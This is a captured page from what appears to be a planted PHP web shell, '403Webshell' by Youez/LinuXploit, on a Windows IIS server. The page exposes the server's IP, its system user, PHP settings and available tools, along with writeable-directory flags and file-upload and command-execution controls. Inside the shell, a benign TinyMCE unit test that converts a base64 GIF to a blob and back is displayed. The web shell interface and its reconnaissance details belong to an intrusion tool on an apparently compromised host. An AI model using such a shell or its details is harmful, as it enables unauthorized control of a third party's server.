403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/SolidCP/Portal/tinymce/themes/inlite/src/test/js/browser/file/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/SolidCP/Portal/tinymce/themes/inlite/src/test/js/browser/file/ConversionsTest.js
asynctest('atomic/core/ConvertTest', [
	'ephox/tinymce',
	'tinymce/inlite/file/Conversions',
	'ephox.agar.api.Step',
	'ephox.agar.api.Pipeline',
	'ephox.agar.api.Assertions'
], function (tinymce, Conversions, Step, Pipeline, Assertions) {
	var success = arguments[arguments.length - 2];
	var failure = arguments[arguments.length - 1];

	var base64ToBlob = function (base64, type) {
		var buff = atob(base64);
		var bytes = new Uint8Array(buff.length);

		for (var i = 0; i < bytes.length; i++) {
			bytes[i] = buff.charCodeAt(i);
		}

		return new Blob([bytes], {type: type});
	};

	var sBlobToBase64 = function () {
		return Step.async(function (next) {
			var base64 = 'R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7';
			var blob = base64ToBlob(base64, 'image/gif');

			Conversions.blobToBase64(blob).then(function (convertedBase64) {
				Assertions.assertEq(base64, convertedBase64, 'Not the correct base64');
				next();
			});
		});
	};

	Pipeline.async({}, [
		sBlobToBase64()
	], function () {
		success();
	}, function () {
		failure();
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit